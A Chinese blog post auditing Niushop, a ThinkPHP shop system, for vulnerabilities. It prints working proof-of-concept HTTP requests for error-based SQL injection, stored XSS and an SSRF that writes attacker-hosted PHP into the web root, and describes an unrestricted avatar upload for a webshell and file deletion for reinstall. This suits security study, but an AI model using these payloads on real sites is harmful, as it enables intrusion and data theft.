代码审计

基于ThinkPHP的PHP代审——Niushop

2022-04-04  本文已影响0人  book4yi

前言:


本文为入门PHP代码审计的最后一篇,感觉在舒适区待太久了,越发想彻底躺平。果然……

ThinkPHP:


ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架,其遵循Apache2开源协议发布,自从诞生以来一直秉承简洁实用的设计原则

相关函数介绍:


public function server($name = '', $default = null, $filter = '')
{
    if (empty($this->server)) {
        $this->server = $_SERVER;
    }
    if (is_array($name)) {
        return $this->server = array_merge($this->server, $name);
    }
    return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

server()方法用于指定$_SERVER数组的元素,获取相关信息,类似的函数还有get()post()用于获取通过GET方式传递的参数和POST传递的参数

public function input($data = [], $name = '', $default = null, $filter = '')
{
    $name = (string) $name;
    if ('' != $name) {
        // 解析name
        if (strpos($name, '/')) {
            list($name, $type) = explode('/', $name);
        } else {
            $type = 's';
        }
        // 按.拆分成多维数组进行判断
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                // 无输入数据,返回默认值
                return $default;
            }
        }
        if (is_object($data)) {
            return $data;
        }
    }
    // 解析过滤器
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter)) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }
    $filter[] = $default;
    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    } else {
        $this->filterValue($data, $name, $filter);
    }

    if (isset($type) && $data !== $default) {
        // 强制类型转换
        $this->typeCast($data, $type);
    }
    return $data;
}

input()方法用于获取经过过滤后的变量数据。若传递的$name为字符串类型,$data为原始的变量数据,若$data不为数组类型,会调用filterValue()方法递归过滤指定的值,参数$data可以理解为键值,$name为键名,$filter为过滤方法,$default为默认值。当$filter为空时,将其设置为数组类型,并插入元素$default。继续追踪filterValue()方法:

private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } elseif (is_scalar($value)) {
            if (strpos($filter, '/')) {
                // 正则过滤
                if (!preg_match($filter, $value)) {
                    // 匹配不成功返回默认值
                    $value = $default;
                    break;
                }
            } elseif (!empty($filter)) {
                // filter函数不存在时, 则使用filter_var进行过滤
                // filter为非整形值时, 调用filter_id取得过滤id
                $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                if (false === $value) {
                    $value = $default;
                    break;
                }
            }
        }
    }
    return $this->filterExp($value);
}

$filter可以为常见的过滤方法或者是正则表达式或者是数字等,如strtolower(),当$filters为非空时,上述方法中会调用call_user_func()调用回调函数处理字符串并重新赋值给$value;当正则匹配失败时,$value设置为默认值;当$filter为数字时,此时其值为过滤器ID,会调用filter_var()函数通过指定的过滤器过滤。最后函数会调用filterExp()方法

public function filterExp(&$value)
{
    // 过滤查询特殊字符
    if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

漏洞分析:


漏洞代码分析:/application/wap/controller/Upload.php

public function uploadFile()
{
    $this->file_path = request()->post("file_path", "");    //获取文件上传路径

    // 重新设置文件路径
    $this->resetFilePath();

    // 检测文件夹是否存在,不存在则创建文件夹
    if (! file_exists($this->reset_file_path)) {
        $mode = intval('0777', 8);
        mkdir($this->reset_file_path, $mode, true);
    }
    
    $this->file_name = $_FILES["file_upload"]["name"]; // 文件原名
    $this->file_size = $_FILES["file_upload"]["size"]; // 文件大小
    $this->file_type = $_FILES["file_upload"]["type"]; // 文件类型
    
    // 验证文件
    if (! $this->validationFile()) {
        return $this->ajaxFileReturn();
    }
    
    $guid = time();
    $file_name_explode = explode(".", $this->file_name); // 图片名称
    $suffix = count($file_name_explode) - 1;
    $ext = "." . $file_name_explode[$suffix]; // 获取后缀名
    $newfile = $guid . $ext; // 重新命名文件
    
    $ok = $this->generateImage($newfile);
    
    if ($ok["code"]) {
        
        // 文件上传成功执行下边的操作
        if (! strstr($this->reset_file_path, UPLOAD_VIDEO) && ! strstr($this->reset_file_path, GOODS_VIDEO_PATH) && ! strstr($this->reset_file_path, UPLOAD_FILE)) {
            @unlink($_FILES['file_upload']);
            $image_size = @getimagesize($ok["path"]); // 获取图片尺寸
            if ($image_size) {
            } else {
                // 强制将文件后缀改掉,文件流不同会导致上传文件失败
                $this->return['message'] = "请检查您的上传参数配置或上传的文件是否有误";
            }
        }
        // 删除本地的图片
        if ($this->upload_type == 2) {
            @unlink($this->reset_file_path . $newfile);
        }
    } else {
        // 强制将文件后缀改掉,文件流不同会导致上传文件失败
        $this->return['message'] = "请检查您的上传参数配置或上传的文件是否有误";
    }
    return $this->ajaxFileReturn();
}

通过源码注释,我们先分析验证文件处的代码逻辑,追踪validationFile()方法:

private function validationFile()
{
    $flag = true;
    switch ($this->file_path) {
        case UPLOAD_AVATOR:
            // 用户头像
            if (($this->file_type != "image/gif" && $this->file_type != "image/png" && $this->file_type != "image/jpeg" && $this->file_type != "image/jpg") || $this->file_size > 1000000) {
                $this->return['message'] = '文件上传失败,请检查您上传的文件类型,文件大小不能超过1MB';
                $flag = false;
            }
            break;
    }
    return $flag;
}

代码中仅仅是对上传文件的类型进行了验证,并没有对后缀进行限制,可通过构造恶意数据包绕过MIME的限制。$newfile上传文件名为当前时间戳拼接文件后缀名,可以很容易通过爆破找到上传的文件,继续追踪generateImage()方法:

private function generateImage($newfile)
{
    // 开启水印功能,目前只针对商品图片添加水印
    if ($this->is_watermark && ! empty($this->imgWatermark) && $this->file_path == UPLOAD_GOODS) {
            } else {
                $ok = $this->moveUploadFile($_FILES["file_upload"]["tmp_name"], $this->reset_file_path . $newfile);
            }
        } catch (\Exception $e) {
            // 水印图片不存在或者其他错误,则生成正常的图片
            $ok = $this->moveUploadFile($_FILES["file_upload"]["tmp_name"], $this->reset_file_path . $newfile);
        }
    } else {
        
        $ok = $this->moveUploadFile($_FILES["file_upload"]["tmp_name"], $this->reset_file_path . $newfile);
    }
    return $ok;
}

从上面代码可以发现,无论如何都会执行这一段代码:ok = $this->moveUploadFile($_FILES["file_upload"]["tmp_name"], $this->reset_file_path . $newfile);,继续追踪,发现未经任何过滤直接使用move_uploaded_file()函数上传文件到服务器:

注册用户登录后,修改用户头像GetShell:

漏洞代码分析:application/wap/controller/Goods.php

public function promotionZone()
{
    $platform = new Platform();
    $goods = new GoodsService();
    // 品牌专区广告位
    $brand_adv = $platform->getPlatformAdvPositionDetailByApKeyword("goodsLabel");
    $this->assign('brand_adv', $brand_adv);
    
    if (request()->isAjax()) {
        $page_index = request()->get('page', '1');
        $group_id = request()->get("group_id", "");
        $this->goods = new GoodsService();
        $condition = "";
        if (! empty($group_id)) {
            $condition = "FIND_IN_SET(" . $group_id . ",ng.group_id_array)";
        } else {
            $condition['ng.group_id_array'] = array(
                'neq',
                ''
            );
        }
        $goods_list = $this->goods->getGoodsList($page_index, PAGESIZE, $condition, "", $group_id);
        return $goods_list;
    }
}

当发送ajax请求时,web应用会通过get()方法来获取group_id参数值,这里并没有传递$filter,也就是没有进行过滤处理。然后将$group_id拼接其他字符串赋值给$condition,将其作为参数之一放置到getGoodsList()方法中

文件路径:data/service/Goods.php

public function getGoodsList($page_index = 1, $page_size = 0, $condition = '', $order = 'ng.sort asc,ng.create_time desc', $group_id = 0)
{
    $goods_view = new NsGoodsViewModel();
    $list = $goods_view->getGoodsViewList($page_index, $page_size, $condition, $order);

后续会调用各种函数,最终的sql语句为:

SELECT `ng`.`goods_id`,`ng`.`goods_name`,`ng`.`shop_id`,`ng`.`category_id`,`ng`.`brand_id`,`ng`.`group_id_array`,`ng`.`promotion_type`,`ng`.`goods_type`,`ng`.`market_price`,`ng`.`price`,`ng`.`promotion_price`,`ng`.`cost_price`,`ng`.`point_exchange_type`,`ng`.`point_exchange`,`ng`.`give_point`,`ng`.`is_member_discount`,`ng`.`shipping_fee`,`ng`.`shipping_fee_id`,`ng`.`stock`,`ng`.`max_buy`,`ng`.`min_stock_alarm`,`ng`.`clicks`,`ng`.`sales`,`ng`.`collects`,`ng`.`star`,`ng`.`evaluates`,`ng`.`shares`,`ng`.`province_id`,`ng`.`city_id`,`ng`.`picture`,`ng`.`keywords`,`ng`.`introduction`,`ng`.`description`,`ng`.`QRcode`,`ng`.`code`,`ng`.`is_stock_visible`,`ng`.`is_hot`,`ng`.`is_recommend`,`ng`.`is_new`,`ng`.`is_pre_sale`,`ng`.`is_bill`,`ng`.`state`,`ng`.`sale_date`,`ng`.`create_time`,`ng`.`update_time`,`ng`.`sort`,`ng`.`real_sales`,`ngb`.`brand_name`,`ngb`.`brand_pic`,`ngc`.`category_id`,`ngc`.`category_name`,`sap`.`pic_cover_micro`,`sap`.`pic_cover_mid`,`sap`.`pic_cover_small`,`nss`.`shop_name`,`nss`.`shop_type`,`sap`.`pic_id`,`sap`.`upload_type`,`sap`.`domain`,`sap`.`bucket` FROM `ns_goods` `ng` LEFT JOIN `ns_goods_category` `ngc` ON `ng`.`category_id`=`ngc`.`category_id` LEFT JOIN `ns_goods_brand` `ngb` ON `ng`.`brand_id`=`ngb`.`brand_id` LEFT JOIN `sys_album_picture` `sap` ON `ng`.`picture`=`sap`.`pic_id` LEFT JOIN `ns_shop` `nss` ON `ng`.`shop_id`=`nss`.`shop_id` WHERE  (  FIND_IN_SET(extractvalue(1,concat(char(126),@@version)),ng.group_id_array) ) LIMIT 0,14  

执行错误的SQL语句会触发异常,Web应用会抛出异常信息,可以通过报错注入获取敏感信息:

漏洞 POC:

GET /niushop/index.php?group_id=extractvalue%281%2Cconcat%28char%28126%29%2C@@version%29%29&page=1&s=%2Fwap%2FGoods%2FpromotionZone HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: RmT_qkey=OJj4W8XHI4TdRCTKj%2BZ1XB%2BXLRfcMtnh; RmT_search_cookie=bmRiF%2F2bjn52%2F9U%2Fne1RQwYsQ8NA9dQ1; remember-me=YWRtaW46MTY0ODk2NjAzNjkxMTphYWVlZGQ1ZGExZjIzOTA3MmZkOGI1ZGVjYmVhNDVjYg; goods_list_display_mode=big_img; PHPSESSID=07skgg165ko3aq73duhu21dv05
Referer: http://192.168.1.5/niushop/index.php?s=/wap/goods/promotionzone
X-Requested-With: XMLHttpRequest
Connection: close

注意:请求头必须包含:X-Requested-With: XMLHttpRequest

漏洞代码分析:application/admin/controller/Config.php`

public function addOrModifyHomeNotice()
{
    if (request()->isAjax()) {
        $id = request()->post("id", 0);
        $title = request()->post("title", "");
        $content = request()->post("content", "");
        $sort = request()->post("sort", 0);
        $platform = new Platform();
        $res = $platform->addOrModifyNotice($title, $content, $this->instance_id, $sort, $id);
        return AjaxReturn($res);
    }
}

通过post()方法获取post请求参数,然后调用addOrModifyNotice()会将post参数以数组的形式赋值给$data,然后会调用save()方法:

public function save($data = [], $where = [], $sequence = null){
    $data = $this->htmlClear($data);
    $retval = parent::save($data, $where, $sequence);
    return $retval;
}

此时会调用htmlClear()进行XSS过滤,但并不会对post参数content进行过滤,最后会调用insert()方法将content的内容插入的数据表ns_notice中:

访问公告信息触发XSS:

代码分析:application/shop/controller/Notice.php

这里主要关注view()方法,该方法用于渲染模板输出,后面会调用thinkphp/library/think/Template.php的parseTag()对模板标签进行解析,问题就出在模板文件上:template/shop/blue/Notice/detail.html

web应用程序会把$info['notice_content']的HTML 实体转换为字符,然后直接输出到页面上,从而导致XSS漏洞:

漏洞POC:

POST /niushop/index.php?s=/admin/config/addOrModifyHomeNotice HTTP/1.1
Host: 172.16.33.47
Content-Length: 108
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.33.47
Referer: http://172.16.33.47/niushop/index.php?s=/admin/config/addHomeNotice
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: oPq_qkey=igjC9Tnllspm5GaufHua3UiFFZr78NxF; RmT_qkey=u68pXqUajMUeVB9syUFJHD%2F5h39gBDeq; PHPSESSID=g44ek90q09od9blq30e3rddup0; page_cookie=%7B%22page_index%22%3A1%2C%22show_number%22%3A14%2C%22url%22%3A%22http%3A%2F%2F172.16.33.47%2Fniushop%2Findex.php%3Fs%3D%2Fadmin%2Fgoods%2Fgoodsbrandlist%22%7D
Connection: close

title=XSS&content=%3Cp%3E123123%26%2339%3B%26quot%3B%26gt%3B%26lt%3Bimg%2Fsrc%3D666%26gt%3B%3C%2Fp%3E&sort=0

我有点疑惑,讲道理,像后台如果有发表文章或者公告的功能,那一般都会使用到编辑器,那么就很可能会使用到插入图片、超链接、表格等功能,那肯定得去解析HTML标签。那岂不是后台编辑器普遍都存在存储型XSS,但解析HTML又是业务需要,那该咋办呢?

代码分析:application/wap/controller/Components.php

public function deleteImgUpload()
{
    $imgsrc = request()->post('imgsrc','');
    $flag = @unlink($imgsrc);
    return $flag;
}

这个嘛没啥好说的,主要考虑如何利用这个漏洞,比如删除lock文件然后进行重新安装

代码分析:data/extend/upgrade/Upgrade.php

public function update_file_download($download_url, $patch_release)
{
    $upgrade_code=0;
    $result=$this->create_upgrade_file($patch_release);
    if($result["upgrade_code"]!=0){
        return $result;
    }
    try {
        $data = Http::doGet($download_url, 20);
        $length_str=strlen($data);
        if($length_str<500){
            $upgrade_code=-1;
            $upgrade_message="更新包下载有误!";
        }else{
            $fileName = explode('/', $download_url);
            $fileName = end($fileName);
            //初始化下载路径
            $download_file_path=ROOT_PATH.'download/upgrade/'.'niushop_patch_'.$patch_release.'/';
            $download_zip_path = $download_file_path.$fileName;
            //处理解压路径
            $update_name=str_replace(".zip", "", $fileName);
            $download_update_file=$download_file_path.$update_name;
            
            if (! @file_put_contents($download_zip_path, $data)) {
                $upgrade_code=-1;
                $upgrade_message="下载补丁包失败!下载路径:".$download_url;
            }
        }
    } 
}

调用create_upgrade_file()创建上传目录,然后引用Http类的静态方法doGet()$download_url作为参数

static public function doGet($url,$timeout=5,$header="") {  
    if(empty($url)||empty($timeout))
        return false;
    if(!preg_match('/^(http|https)/is',$url))
        $url="http://".$url;
    $code=self::getSupport();
    switch($code)
    {
        case 1:return self::curlGet($url,$timeout,$header);break;
        case 2:return self::socketGet($url,$timeout,$header);break;
        case 3:return self::phpGet($url,$timeout,$header);break;
        default:return false;   
    }
}

doGet()方法会检测$url是否以http或者https开头,调用getSupport()用于自动获取发出HTTP请求的方法:

按照先后顺序,web应用会利用curl_exec()发送HTTP请求,并将响应结果赋值给$data

当响应包长度大于500时,会调用file_put_contents()$data写入到补丁包路径中,$download_zip_path会拼接$download_url的文件名作为写入文件名。

分析到此,当web应用调用update_file_download()时,服务器会向$download_url所指向的url发出HTTP请求,这里并没有对内网地址进行过滤,存在SSRF漏洞。当响应长度大于500时,web服务器会将响应结果写入到某个文件中,这个文件名可控。如果我们让自己的VPS开启web服务,但不解析php,访问php文件直接将源码显示到页面,web服务器将恶意源码写入到自己的web目录下,就能达到RCE的效果。

漏洞复现:

1、VPS开启web服务,但不解析PHP,访问结果大致如下:

2、构造HTTP请求包发送给服务端:

POST /niushop/index.php?s=admin/Upgradeonline/downloadPatchZip HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: remember-me=YWRtaW46MTY0ODk2NjAzNjkxMTphYWVlZGQ1ZGExZjIzOTA3MmZkOGI1ZGVjYmVhNDVjYg; PHPSESSID=8at4trnm6lm2na9d7ssnrc8a04
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

download_url=http://192.168.107.155/info.php

3、验证是否成功写入php文件:

http://127.0.0.1/niushop/download/upgrade/niushop_patch_/info.php

上一篇下一篇

猜你喜欢

热点阅读